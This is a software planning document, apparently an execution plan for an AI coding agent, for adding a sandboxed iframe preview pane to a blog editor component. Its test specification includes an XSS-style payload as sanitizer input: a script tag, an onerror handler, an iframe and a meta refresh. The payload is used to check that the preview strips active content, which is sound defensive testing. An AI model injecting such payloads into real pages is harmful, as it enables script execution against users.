|
||||
---
|
||||
|
||||
## Manual-Only Verifications
|
||||
|
||||
| Behavior | Requirement | Why Manual | Test Instructions |
|
||||
|----------|-------------|------------|-------------------|
|
||||
| Clipboard copy of the show-once token in a real browser | SC-3 | Clipboard API permissions differ from happy-dom | Create a token in the admin SPA, copy it, use it as `Authorization: Bearer` against a Journal write route |
|
||||
| Postgres suites when an executor had no Docker daemon | SC-1..SC-4 | testcontainers needs Docker | On a Docker host: `bash scripts/check-phase16.3.sh postgres` (lagoon, cabana and Journal token suites by name) |
|
||||
|
||||
---
|
||||
|
||||
## Validation Sign-Off
|
||||
|
||||
- [ ] All tasks have `<automated>` verify or Wave 0 dependencies
|
||||
- [ ] Sampling continuity: no 3 consecutive tasks without automated verify
|
||||
- [ ] Wave 0 covers all MISSING references
|
||||
- [ ] No watch-mode flags
|
||||
- [ ] Feedback latency < 180s
|
||||
- [ ] `nyquist_compliant: true` set in frontmatter
|
||||
|
||||
**Approval:** pending
|
||||
@@ -0,0 +1 @@
|
||||
No external API integration: this phase builds the framework's own admin token API and wires the in-repo Journal plugin to it; no third-party service, SDK or remote API is called.
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,371 @@
|
||||
---
|
||||
phase: quick-261010-iwu
|
||||
plan: 01
|
||||
type: execute
|
||||
wave: 1
|
||||
depends_on: []
|
||||
files_modified:
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/preview.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/element.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/labels.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.js
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.css
|
||||
- ../sm-journal-plugin/tests/blogeditor/preview.test.ts
|
||||
- ../sm-journal-plugin/README.md
|
||||
autonomous: true
|
||||
requirements: [QUICK-261010-iwu]
|
||||
|
||||
estimate:
|
||||
tokens: 70000
|
||||
raw_tokens: 70000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
|
||||
must_haves:
|
||||
truths:
|
||||
- "The Blog Editor toolbar has a Preview toggle button (data-command preview) labelled 'Preview' for ui-locale en and 'Podgląd' for ui-locale pl through labelsFor. It is off by default with aria-pressed 'false', and each element instance has its own state. Pressing it sets aria-pressed 'true' and shows a preview pane that splits the editor 50/50, a grid with repeat(auto-fit, minmax(min(100%, 360px), 1fr)) columns. When the element is narrower than about 720px, the pane wraps below the editor. Pressing it again hides the pane. The button stays usable in the Source tab and when the element is disabled."
|
||||
- "The pane is an <iframe> whose sandbox attribute is exactly the empty string. It has no allow-scripts or allow-same-origin token, no src and no allow attribute, and it has referrerpolicy no-referrer. Its content is set only through srcdoc. The srcdoc head starts with meta charset, then a Content-Security-Policy meta with PREVIEW_CSP (default-src 'none'; img-src * data:; style-src 'unsafe-inline'), then a no-referrer meta."
|
||||
- "The preview renders immediately when it is switched on. After that, it re-renders PREVIEW_DEBOUNCE_MS (300 ms) after the last WYSIWYG edit, Source tab input or external value set, so it updates live in both modes. While it is off, nothing is scheduled or rendered."
|
||||
- "A YouTube placeholder <figure data-embed=\"youtube\" data-id=\"ID\"></figure>, with an id that matches the provider idPattern, shows as a thumbnail card in the preview: an img with src https://img.youtube.com/vi/ID/hqdefault.jpg and referrerpolicy no-referrer, plus the label '<embedCard>: YouTube ID'. The preview never contains an iframe. The preview copy also drops script, iframe, frame, frameset, object, embed, meta, base and link elements and every on* attribute."
|
||||
- "The preview uses post-body typography from an inline stylesheet in the srcdoc. Its colours and font are concrete values that getComputedStyle reads from the host's --c-* variables at render time and that pass safeCssValue, or neutral defaults otherwise. The srcdoc never contains var(--c-. In blogeditor.css, every selector stays under golem15-journal-blogeditor and every colour is a var(--c-*)."
|
||||
- "Toggling or rendering the preview never dispatches summer-change. It never calls serializeDocument for an untouched document, never dispatches an editor transaction and never writes the stored-value fields. An untouched imported post still returns the exact given string after any number of toggles and renders. smoke.test.ts, corpus.test.ts and the fixtures are not edited and stay green."
|
||||
- "assets/dist is rebuilt and committed, scripts/check-dist.sh prints 'check-dist: assets/dist matches a fresh build', and go vet ./... passes in sm-journal-plugin. The README Blog Editor and Admin sections describe the preview. Every commit is in sm-journal-plugin without co-author tags, and nothing is pushed or deployed."
|
||||
artifacts:
|
||||
- path: ../sm-journal-plugin/assets/src/blogeditor/preview.ts
|
||||
provides: "PREVIEW_SANDBOX, PREVIEW_CSP, PREVIEW_DEBOUNCE_MS, PREVIEW_DEFAULTS, safeCssValue, resolvePreviewColors, youtubeThumbnail, previewBody, buildPreviewDocument"
|
||||
contains: "export function buildPreviewDocument"
|
||||
- path: ../sm-journal-plugin/assets/src/blogeditor/element.ts
|
||||
provides: "showPreview(on), #renderPreview reading the value getter, #schedulePreview debounce, split panes and the sandboxed iframe"
|
||||
contains: "showPreview"
|
||||
- path: ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
|
||||
provides: "the preview toggle button outside the tablist, ToolbarHost.togglePreview, Toolbar.setPreview"
|
||||
contains: "togglePreview"
|
||||
- path: ../sm-journal-plugin/assets/src/blogeditor/labels.ts
|
||||
provides: "preview and previewFrame labels in en and pl"
|
||||
contains: "Podgląd"
|
||||
- path: ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
|
||||
provides: "split-pane grid with the narrow-width wrap, preview pane and iframe styles, all under the tag with --c-* only"
|
||||
contains: "auto-fit"
|
||||
- path: ../sm-journal-plugin/tests/blogeditor/preview.test.ts
|
||||
provides: "vitest coverage: toggle and aria-pressed, debounced live update, sandbox attribute, embed card, active-content drop, colours, no summer-change, untouched value"
|
||||
contains: "PREVIEW_DEBOUNCE_MS"
|
||||
- path: ../sm-journal-plugin/assets/dist/blogeditor.js
|
||||
provides: "rebuilt committed bundle including the preview"
|
||||
contains: "img.youtube.com"
|
||||
key_links:
|
||||
- from: ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
|
||||
to: ../sm-journal-plugin/assets/src/blogeditor/element.ts
|
||||
via: "button[data-command=preview] click -> host.togglePreview() -> showPreview(!#previewOn)"
|
||||
pattern: "togglePreview"
|
||||
- from: ../sm-journal-plugin/assets/src/blogeditor/element.ts
|
||||
to: ../sm-journal-plugin/assets/src/blogeditor/preview.ts
|
||||
via: "#renderPreview reads this.value and sets frame.srcdoc = buildPreviewDocument(...)"
|
||||
pattern: "buildPreviewDocument"
|
||||
- from: ../sm-journal-plugin/assets/src/blogeditor/element.ts
|
||||
to: "onUpdate, #sourceInput, value setter"
|
||||
via: "#schedulePreview() after each value-changing path"
|
||||
pattern: "schedulePreview"
|
||||
- from: ../sm-journal-plugin/assets/src/blogeditor/preview.ts
|
||||
to: ../sm-journal-plugin/assets/src/blogeditor/embed.ts
|
||||
via: "previewBody accepts a placeholder only through isEmbedProvider plus EMBED_PROVIDERS[provider].idPattern"
|
||||
pattern: "idPattern"
|
||||
- from: ../sm-journal-plugin/assets/src/blogeditor/preview.ts
|
||||
to: ../sm-journal-plugin/assets/src/blogeditor/extensions.ts
|
||||
via: "previewBody parses its copy in inert(), a document without a browsing context"
|
||||
pattern: "inert()"
|
||||
---
|
||||
|
||||
<objective>
|
||||
Add a toggleable live preview pane to the Journal Blog Editor element (`golem15-journal-blogeditor`) in the sibling repo `/media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin`, like the WinterCMS Blog plugin's preview. A localized "Preview"/"Podgląd" toolbar button splits the editor 50/50. The right pane shows the current HTML in a sandboxed `<iframe srcdoc>` with post-body typography, YouTube placeholders show as thumbnail cards, and the pane updates live with a debounce in both WYSIWYG and Source modes.
|
||||
|
||||
Purpose: editors see how the post body will read without leaving the form. The editor's exact-value contract stays intact: an untouched post still saves byte for byte, and previewing never counts as an edit.
|
||||
|
||||
Output: a new `preview.ts` module, changes to the element, toolbar, labels and CSS, a new vitest file, the rebuilt and committed `assets/dist`, and README updates. This is three commits in sm-journal-plugin. There is no summercms framework change, and the element contract published in summercms v0.1.18 (the value property, the attributes, summer-change, summer-upload and summer-upload-result) is unchanged.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/STATE.md
|
||||
@CLAUDE.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
|
||||
|
||||
Element sources (absolute paths; the repo is a sibling, not a submodule):
|
||||
@/media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin/assets/src/blogeditor/element.ts
|
||||
@/media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin/assets/src/blogeditor/toolbar.ts
|
||||
@/media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin/assets/src/blogeditor/labels.ts
|
||||
@/media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin/assets/src/blogeditor/serializer.ts
|
||||
@/media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin/assets/src/blogeditor/embed.ts
|
||||
@/media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin/assets/src/blogeditor/blogeditor.css
|
||||
@/media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin/tests/blogeditor/helpers.ts
|
||||
|
||||
Facts the planner verified (no need to re-derive):
|
||||
- sm-journal-plugin is on branch `main` at `9d5bfc4` (chore(deps): require summercms v0.1.18). The only untracked file is `go.work.sum`, which is never committed. `node_modules/` is installed, so check-dist.sh does not run npm ci.
|
||||
- The `value` getter (element.ts) returns `#value` in `clean` mode, which is the exact given string with no serializer call. It returns `#sourceText` in `source` mode. In `wysiwyg` mode it returns `serializeDocument(editor, #blocks)`. `serializeDocument` (serializer.ts) only reads `editor.state.doc` and builds nodes in the inert document. It writes no element state. The preview reads through the getter and nothing else.
|
||||
- `inert()` (extensions.ts) is `document.implementation.createHTMLDocument('')`. Markup parsed there or in a `template` created from it loads nothing and runs nothing. RawHtml's renderHTML already uses this pattern.
|
||||
- The Embed node accepts a placeholder only when it has exactly two attributes (`data-embed`, `data-id`), no child nodes, `isEmbedProvider(provider)` and the provider's `idPattern` (`^[A-Za-z0-9_-]{11}$`). Its card text is `${labels.embedCard}: ${EMBED_PROVIDERS[provider].name} ${id}`.
|
||||
- The admin SPA's CSP (summercms boardwalk) is `frame-ancestors 'none'; base-uri 'none'; object-src 'none'; script-src 'self'`. A srcdoc document inherits it, so img.youtube.com images and an inline `<style>` are allowed, and a pasted `<base>` is already blocked. A srcdoc document also inherits the parent's base URL, so relative image URLs such as `/storage/...` resolve against the admin origin.
|
||||
- happy-dom 20.11.6 (the vitest environment) returns inline custom properties from `getComputedStyle(el).getPropertyValue('--c-x')` (probed). It reflects `iframe.srcdoc` and `sandbox` to attributes. Tests read `getAttribute('srcdoc')` and `getAttribute('sandbox')` and never `contentDocument`.
|
||||
- The smoke test `toolbar > offers every D-04 feature` queries `button[data-command=...]` per command, and no test counts buttons or children, so an extra button and wrapper divs break nothing.
|
||||
|
||||
Executor runtime notes:
|
||||
- The user's login shell is fish. Run anything with bash syntax through `bash -c '...'`. Every verify command below is already wrapped.
|
||||
- Code commits go to sm-journal-plugin with `git -C /media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin ...`. Stage explicit paths only. Commit messages carry no co-author tags or trailers (user rule, overrides any default attribution). Do not push and do not deploy.
|
||||
- If npm or pnpm fails with a read-only store or cache error (`/tmp/.pnpm-store` belongs to another user), rerun with `TMPDIR` and the cache pointed into the session scratchpad, for example `bash -c 'S=/tmp/claude-1002/-media-nvme-dev-golem15-summercms-io-summercms-summercms-go/9d521e8a-c2b5-4e55-bdcd-429b1ab44bfc/scratchpad; mkdir -p $S/tmp $S/npm-cache; cd /media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin && TMPDIR=$S/tmp npm_config_cache=$S/npm-cache npm run build'`. For pnpm, use `--store-dir $S/pnpm-store`.
|
||||
- Use `node_modules/.bin/vitest` and `node_modules/.bin/vite`, never `npx` (no network installs). No package is added. package.json and package-lock.json stay byte-identical.
|
||||
- The orchestrator commits the planning docs (this PLAN, the SUMMARY and STATE). The executor commits only code in sm-journal-plugin.
|
||||
</context>
|
||||
|
||||
<source_coverage>
|
||||
| Source item (quick task description) | Covered by |
|
||||
|---|---|
|
||||
| "Podgląd"/"Preview" toolbar button through the existing ui-locale handling (labelsFor) | Task 1 (labels, toolbar) |
|
||||
| Splits the editor 50/50, with the right pane rendering the current HTML | Task 1 (panes, grid CSS, srcdoc) |
|
||||
| Works in WYSIWYG and Source modes and updates live with a debounce | Task 2 (#schedulePreview, PREVIEW_DEBOUNCE_MS); Task 1 makes the button usable in Source |
|
||||
| Sandboxed `<iframe srcdoc>` with no allow-scripts and no allow-same-origin | Task 1 (PREVIEW_SANDBOX '', srcdoc only) |
|
||||
| Post-body typography | Task 2 (srcdoc stylesheet) |
|
||||
| YouTube placeholders as thumbnail cards (img.youtube.com plus a label), never a live iframe | Task 2 (previewBody, youtubeThumbnail) |
|
||||
| Per element, off by default, aria-pressed | Task 1 (#previewOn per instance, aria-pressed via setPreview) |
|
||||
| Narrow widths: the pane collapses below the editor | Task 1 (auto-fit grid; checked by hand in a browser, noted in the SUMMARY) |
|
||||
| Toggling or previewing never emits summer-change and never re-serializes an untouched document; the value is read without a mutating serializer; the untouched string is returned exactly; existing untouched tests stay green | Task 1 (value-getter-only read, serializer spy tests, existing files unedited); Task 2 (the same after debounced renders) |
|
||||
| Only --c-* variables, scoped under the tag; srcdoc carries its own inline stylesheet with values resolved by getComputedStyle or neutral defaults | Tasks 1 and 2 (CSS gates, resolvePreviewColors, safeCssValue) |
|
||||
| Vitest: toggle and aria-pressed, debounced live update with fake timers, sandbox attribute, embed card, no summer-change, untouched value after toggling | Task 1 (toggle, sandbox, no summer-change, untouched) and Task 2 (debounce, embed card, colours, active content) |
|
||||
| Rebuild and commit assets/dist with check-dist green; go vet passes | Every task's verify; Task 3 final gate |
|
||||
| Update the plugin README's Admin section | Task 3 |
|
||||
| Do not push or deploy | Runtime notes; Task 3 done criteria |
|
||||
|
||||
No item is deferred or unplanned.
|
||||
</source_coverage>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: End-to-end preview toggle (toolbar button, element, sandboxed srcdoc frame)</name>
|
||||
<files>../sm-journal-plugin/assets/src/blogeditor/labels.ts, ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../sm-journal-plugin/assets/src/blogeditor/preview.ts, ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css, ../sm-journal-plugin/tests/blogeditor/preview.test.ts, ../sm-journal-plugin/assets/dist/blogeditor.js, ../sm-journal-plugin/assets/dist/blogeditor.css</files>
|
||||
<read_first>
|
||||
- element.ts in full: the value getter and setter, connectedCallback, disconnectedCallback, showSource, #load, #sourceInput and #emitChange
|
||||
- toolbar.ts in full: ToolbarHost, Toolbar, the GROUPS buttons, the tabs and refresh()
|
||||
- labels.ts: the Labels interface, the en and pl tables, labelsFor
|
||||
- serializer.ts: the serializeDocument signature (read only, to confirm it is pure)
|
||||
- blogeditor.css: the tag-scoped selectors, the [hidden] rule and the aria-pressed rule
|
||||
- tests/blogeditor/helpers.ts (mount, button, click) and the first 105 lines of tests/blogeditor/smoke.test.ts, for the test style
|
||||
</read_first>
|
||||
<precondition>sm-journal-plugin HEAD is 9d5bfc4, `git status --porcelain` shows only `?? go.work.sum`, and node_modules/.bin/vitest exists.</precondition>
|
||||
<behavior>
|
||||
New file tests/blogeditor/preview.test.ts. At the top, vi.mock the serializer module ('../../assets/src/blogeditor/serializer') with importOriginal: re-export everything and wrap serializeDocument in vi.fn around the real function. afterEach calls vi.useRealTimers(), vi.mocked(serializeDocument).mockClear() and document.body.replaceChildren(). Reuse mount, button and click from ./helpers, and the fixture from './fixtures/imported-post.html?raw'.
|
||||
- Toggle: mount('<p>Hello</p>'). button(el, 'preview') has the text 'Preview', aria-label 'Preview' and aria-pressed 'false'. el.querySelector('.blogeditor__preview') is hidden. After a click, aria-pressed is 'true', the pane is not hidden, '.blogeditor__panes' has class 'blogeditor__panes--split', and the iframe's srcdoc already contains '<p>Hello</p>' with no timer advanced. Another click gives aria-pressed 'false', a hidden pane and no split class.
|
||||
- Locale: with ui-locale 'pl' the button text and aria-label are 'Podgląd' and the iframe title is 'Podgląd wpisu'. With en the title is 'Post preview'.
|
||||
- Per element: mount two elements and toggle the first. The second's button keeps aria-pressed 'false' and its pane stays hidden.
|
||||
- Usable everywhere: after el.showSource(true), and separately with the disabled attribute set, the preview button is not disabled and a click turns the preview on.
|
||||
- Sandbox: iframe.getAttribute('sandbox') is exactly ''. The attribute string matches neither /allow-scripts/ nor /allow-same-origin/. The iframe has no src or allow attribute, and referrerpolicy is 'no-referrer'. The srcdoc contains the PREVIEW_CSP meta (http-equiv Content-Security-Policy with content PREVIEW_CSP) and '<meta name="referrer" content="no-referrer">'.
|
||||
- Untouched value: mount(fixture) and keep const before = editor.state.doc. Toggle on, off and on again. Then changes is [], el.value toBe fixture, editor.state.doc toBe before (no transaction ran), serializeDocument was not called, and the srcdoc contains 'Jan Kowalski'. Setting el.value = fixture afterwards emits nothing.
|
||||
- Touched value: mount('<p>a</p>'), insert 'X' at position 1 (one user edit), then toggle on. changes has length 1, the srcdoc contains '<p>Xa</p>', serializeDocument was called (the touched path goes through the getter), and toggling off and on adds no summer-change.
|
||||
</behavior>
|
||||
<action>
|
||||
Work only in /media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin (see the runtime notes). This task wires one path end to end: button, element, preview module, iframe. It also builds the final security shape of the frame. Task 2 adds the content transforms and live updates.
|
||||
|
||||
1. labels.ts: add `preview` and `previewFrame` to the Labels interface and to both tables. In en they are 'Preview' and 'Post preview'. In pl they are 'Podgląd' and 'Podgląd wpisu'. labelsFor and the element's ui-locale reading stay the only locale mechanism.
|
||||
|
||||
2. Create assets/src/blogeditor/preview.ts as a pure module with no element state. It exports:
|
||||
- `PREVIEW_SANDBOX = ''`: the iframe's sandbox attribute value, an empty token list, which is the most restrictive sandbox (no scripts, opaque origin, no forms, popups or top navigation).
|
||||
- `PREVIEW_CSP = "default-src 'none'; img-src * data:; style-src 'unsafe-inline'"`.
|
||||
- `PREVIEW_DEBOUNCE_MS = 300` (used from Task 2).
|
||||
- `interface PreviewOptions { labels: Labels; lang?: string | null }`.
|
||||
- `buildPreviewDocument(html: string, options: PreviewOptions): string`. It returns a full document: a doctype, then an html element, then a head with meta charset utf-8. The http-equiv Content-Security-Policy meta whose content is PREVIEW_CSP and the meta name=referrer content=no-referrer follow, and nothing else comes before them in head. The body wraps the HTML in `article class="post-body"`. In this task the HTML is inserted as given. Task 2 adds previewBody, the stylesheet and lang.
|
||||
- Doc comments state why: the sandbox blocks scripts from pasted HTML and gives the frame an opaque origin, and CSS variables do not cross into the frame.
|
||||
|
||||
3. toolbar.ts:
|
||||
- ToolbarHost gains `togglePreview: () => void`. Toolbar gains `setPreview: (on: boolean) => void`, which sets the preview button's aria-pressed to 'true' or 'false'.
|
||||
- After the tabs, append a `div.blogeditor__view` holding one button. Give it type button, data-command 'preview', textContent labels.preview, title and aria-label labels.preview, and an initial aria-pressed of 'false'. Its mousedown calls preventDefault (it keeps the editor selection, like the other buttons) and its click calls host.togglePreview().
|
||||
- It is a toggle, not a tab. Keep it out of the role=tablist div and out of the `buttons` array, so refresh() never disables it. The preview is read-only, so it works in the Source tab, with the disabled attribute and before an editor exists.
|
||||
|
||||
4. element.ts:
|
||||
- Add private state: `#previewOn = false` (per instance, off by default, never stored anywhere), `#panes`, `#previewPane`, `#previewFrame` and `#previewTimer`.
|
||||
- In connectedCallback, append the mount and the textarea inside `div.blogeditor__main`, which sits inside `div.blogeditor__panes`. Follow it with `div.blogeditor__preview`, created hidden and holding the iframe. Keep the existing append order otherwise: toolbar, forms, panes, status, file input.
|
||||
- Create the iframe with setAttribute('sandbox', PREVIEW_SANDBOX), referrerpolicy 'no-referrer' and title labels.previewFrame. Never add a sandbox token, src, allow or allowfullscreen.
|
||||
- Pass `togglePreview: () => this.showPreview(!this.#previewOn)` to buildToolbar. At the end of connectedCallback, call showPreview(true) when #previewOn is already true (a re-attached element).
|
||||
- Add a public `showPreview(on: boolean): void`. It sets #previewOn and returns if the panes are not built yet. Otherwise it sets the pane's hidden to !on, toggles the class `blogeditor__panes--split` on #panes and calls toolbar.setPreview(on). When on, it renders right away through #renderPreview(). When off, it clears the pending timer.
|
||||
- Add `#renderPreview()`. It clears the timer and returns unless #previewOn and the frame exist. It reads the HTML only through the value getter (`this.value`), then sets `frame.srcdoc = buildPreviewDocument(html, { labels: this.#labels })`. The preview path never calls editor.getHTML(), #load, setContent, captureBlocks or #emitChange. It never dispatches a transaction and never assigns #value, #mode, #sourceText, #parsed or #blocks. So an untouched document never reaches serializeDocument, and nothing in the stored-value path changes.
|
||||
- In disconnectedCallback, clear #previewTimer and keep #previewOn.
|
||||
|
||||
5. blogeditor.css: every new selector starts with golem15-journal-blogeditor, and every colour is a var(--c-*).
|
||||
- `.blogeditor__view` is a flex row with a 2px gap, like `.blogeditor__tabs`.
|
||||
- `.blogeditor__panes--split` is a grid with `grid-template-columns: repeat(auto-fit, minmax(min(100%, 360px), 1fr))`. That gives two equal 1fr columns (50/50) when the element is at least about 720px wide. Below that it gives one column, with the preview wrapping below the editor, because auto-fit collapses the empty tracks. No media query is needed, and the element's width drives it rather than the viewport's.
|
||||
- `.blogeditor__main` gets min-width 0.
|
||||
- `.blogeditor__preview` is a flex container with min-width 0, min-height 360px, background var(--c-surface) and a 1px var(--c-border) divider that reads in both arrangements, for example an outline.
|
||||
- Its iframe gets display block, flex 1 1 auto, width 100%, min-height 360px, border 0 and background var(--c-surface).
|
||||
- The existing [hidden] rule hides the pane when it is off. Existing rules stay as they are.
|
||||
|
||||
6. Write tests/blogeditor/preview.test.ts per the behavior block. Do not edit smoke.test.ts, corpus.test.ts, helpers.ts or anything under fixtures.
|
||||
|
||||
7. Run `npm run build`, then `bash scripts/check-dist.sh`, `npm test` and `go vet ./...`, all inside bash -c. Stage only this task's files and commit in sm-journal-plugin with the subject `feat(editor): toggleable preview pane in a sandboxed frame` and a two-line body (the toggle and split, the empty sandbox with srcdoc only and the value getter as the only read). Add no co-author trailer and do not stage go.work.sum.
|
||||
</action>
|
||||
<verify>
|
||||
<automated>bash -c 'cd /media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin && npm test && bash scripts/check-dist.sh && go vet ./... && grep -qF "togglePreview" assets/src/blogeditor/toolbar.ts && grep -qF "showPreview" assets/src/blogeditor/element.ts && grep -qF "PREVIEW_SANDBOX" assets/src/blogeditor/element.ts && grep -qF "auto-fit" assets/src/blogeditor/blogeditor.css && grep -qF "Podgląd" assets/src/blogeditor/labels.ts && test "$(grep -E "^[^ @/*}].*\{" assets/src/blogeditor/blogeditor.css | grep -vc "^golem15-journal-blogeditor")" = 0 && test "$(grep -cE "#[0-9a-fA-F]{3,8}|rgba?\(|hsla?\(" assets/src/blogeditor/blogeditor.css)" = 0 && git diff --quiet 9d5bfc4 HEAD -- tests/blogeditor/smoke.test.ts tests/blogeditor/corpus.test.ts tests/blogeditor/helpers.ts tests/blogeditor/fixtures package.json package-lock.json && st=$(git status --porcelain -- assets tests) && test -z "$st" && files=$(git show --name-only --format= HEAD) && test -z "$(grep -vxF -e "" -e assets/src/blogeditor/preview.ts -e assets/src/blogeditor/element.ts -e assets/src/blogeditor/toolbar.ts -e assets/src/blogeditor/labels.ts -e assets/src/blogeditor/blogeditor.css -e assets/dist/blogeditor.js -e assets/dist/blogeditor.css -e tests/blogeditor/preview.test.ts <<< "$files")" && body=$(git log -1 --format=%B) && test -z "$(grep -i co-authored-by <<< "$body")" && subj=$(git log -1 --format=%s) && grep -q preview <<< "$subj"'</automated>
|
||||
</verify>
|
||||
<done>Clicking the localized Preview button splits the element and shows the current value in an iframe whose sandbox attribute is exactly empty and whose srcdoc carries the CSP and no-referrer metas. aria-pressed follows the toggle per element. Toggling an untouched imported post emits nothing, runs no transaction, never calls serializeDocument and keeps the exact string. The whole vitest suite passes, including the unedited smoke and corpus files. check-dist is green, go vet is clean, and one feat(editor) commit holds only the task's files.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 2: Live debounced updates, YouTube thumbnail cards, post-body typography and resolved colours</name>
|
||||
<files>../sm-journal-plugin/assets/src/blogeditor/preview.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../sm-journal-plugin/tests/blogeditor/preview.test.ts, ../sm-journal-plugin/assets/dist/blogeditor.js, ../sm-journal-plugin/assets/dist/blogeditor.css</files>
|
||||
<read_first>
|
||||
- preview.ts and the element.ts preview members as committed in Task 1
|
||||
- embed.ts (EMBED_PROVIDERS, isEmbedProvider, idPattern) and, in extensions.ts, the inert() function and the Embed node's parseHTML getAttrs and addNodeView card text (use grep -n to find the lines, then read only those ranges)
|
||||
- the .ProseMirror content rules in blogeditor.css (headings, lists, blockquote, code, table, figure), which the preview typography mirrors
|
||||
</read_first>
|
||||
<behavior>
|
||||
Add these to tests/blogeditor/preview.test.ts. Call vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout'] }) after mount and before the toggle, and advance only by explicit amounts.
|
||||
- WYSIWYG live update: mount('<p>a</p>') and toggle on, so the srcdoc has '<p>a</p>'. Insert 'X' at 1. The srcdoc is unchanged after advanceTimersByTime(PREVIEW_DEBOUNCE_MS - 1) and contains '<p>Xa</p>' after advancing 1 more ms.
|
||||
- Debounce reset: make an edit, advance 200, make a second edit, advance 200. The srcdoc still shows neither edit. After advancing 100 more it shows both.
|
||||
- Source mode: call showSource(true), set the textarea to '<h2>From source</h2>' and dispatch input. After PREVIEW_DEBOUNCE_MS the srcdoc contains '<h2>From source</h2>'. changes is exactly ['<h2>From source</h2>'] (the input only; the render adds nothing).
|
||||
- External value: with the preview on, set el.value = '<p>New</p>'. After the debounce the srcdoc contains '<p>New</p>' and changes is [].
|
||||
- Off means idle: toggle on, then off, then edit and advance 1000 ms. The srcdoc is unchanged from the last render.
|
||||
- Detach: make an edit with the preview on, call el.remove(), then advance 1000 ms. No error is thrown and the srcdoc is unchanged.
|
||||
- Untouched after renders: mount(fixture), toggle on, then advanceTimersByTime(1000). changes is [], el.value toBe fixture and serializeDocument was not called.
|
||||
- Embed card: mount('<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>') and toggle on. The srcdoc contains 'https://img.youtube.com/vi/dQw4w9WgXcQ/hqdefault.jpg', 'referrerpolicy="no-referrer"' and 'Embedded video: YouTube dQw4w9WgXcQ'. With ui-locale pl it contains 'Osadzone wideo: YouTube dQw4w9WgXcQ'. The srcdoc matches no /<iframe/i, and el.value equals the placeholder string exactly.
|
||||
- Invalid placeholder: '<figure data-embed="youtube" data-id="short"></figure>' gives a srcdoc with no 'img.youtube.com'.
|
||||
- Active content in the copy only: value '<p>a</p><script>alert(1)</script><iframe src="https://example.test/"></iframe><img src="/x.png" onerror="alert(1)"><meta http-equiv="refresh" content="0;url=https://example.test/">'. The srcdoc matches none of /<script/i, /<iframe/i, /onerror/i or /http-equiv="refresh"/i, and still contains '<p>a</p>' and 'src="/x.png"'. el.value equals the given string exactly and changes is [].
|
||||
- Colours: set el.style.setProperty('--c-text', 'rgb(1, 2, 3)') before toggling, and the srcdoc contains 'rgb(1, 2, 3)'. No srcdoc ever contains 'var(--c-'. With no variables set, the srcdoc contains PREVIEW_DEFAULTS.colors.text.
|
||||
- safeCssValue unit cases: an empty value, a value with '}', a value with '<', a value with ';' and a 201-character value all return the fallback. ' rgb(1, 2, 3) ' returns 'rgb(1, 2, 3)', and '"DM Sans", sans-serif' is returned unchanged.
|
||||
- Lang and typography: with locale 'pl' the srcdoc contains '<html lang="pl">'. With locale 'pl"><x' it has no lang attribute. The srcdoc has one style element with rules for '.post-body', 'blockquote', 'figcaption' and '.embed-card', and the body wraps the content in '<article class="post-body">'.
|
||||
</behavior>
|
||||
<action>
|
||||
TDD: add the behavior cases first and run `node_modules/.bin/vitest run tests/blogeditor/preview.test.ts`. Note in the SUMMARY which cases fail against Task 1, then implement until the whole suite is green.
|
||||
|
||||
1. preview.ts:
|
||||
- Export `interface PreviewColors` with the fields surface, text, muted, border, borderStrong, subtle and primary. Export `PREVIEW_DEFAULTS = { colors, fontFamily }`. Use neutral light-theme constants: a white surface, near-black text, a mid-grey muted colour, light-grey and darker-grey borders, an off-white subtle colour and a blue primary. The font stack is system-ui with sans-serif fallbacks.
|
||||
- Export `safeCssValue(value, fallback)`. It returns the trimmed value, or the fallback when the value is empty, longer than 200 characters, or contains a less-than, greater-than, curly brace, semicolon, backslash or a CSS comment opener. A host value can then never close the style element or inject a rule.
|
||||
- Export `resolvePreviewColors(host: Element): { colors: PreviewColors; fontFamily: string }`. It reads getComputedStyle(host).getPropertyValue for --c-surface, --c-text, --c-muted, --c-border, --c-border-strong, --c-subtle and --c-primary, plus the computed fontFamily, each through safeCssValue with its PREVIEW_DEFAULTS fallback.
|
||||
